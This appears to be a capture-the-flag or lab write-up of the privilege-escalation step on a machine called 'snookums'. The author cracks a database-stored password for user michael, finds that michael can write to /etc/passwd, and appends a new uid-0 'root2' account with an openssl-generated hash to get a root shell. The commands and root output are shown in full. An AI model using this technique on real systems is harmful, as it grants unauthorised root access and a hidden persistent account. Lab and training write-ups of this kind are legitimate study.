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# Priv Escalation

IPwnkit,

I am not sure if this was the intended way, however. I inspected all ports for mysql and they werent vulnerable because we werent allowed load modules, I also tried dirtycow and dirtycow2 but failed because of a missing library in the system. I tried switching to the other user in this computer named 'michael' but was unable to do anything with him.

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There was another intended way. 

The db had multiple databases that gave the credentials for user named michael. 

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I cracked the password and was able to switch into that user. 

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I ran `su michael` with those credentials and was able to find that the user michael had write access to the passwd file. 

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```
[michael@snookums tmp]$ openssl passwd -1 -salt password password 
$1$password$Da2mWXlxe6J7jtww12SNG/
echo 'root2:$1$password$Da2mWXlxe6J7jtww12SNG/:0:0:root2:/root:/bin/bash' >> /etc/passwd
su root2 
[root@snookums tmp]# whoami
root
[root@snookums tmp]# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
[root@snookums tmp]# hostname 
snookums

```


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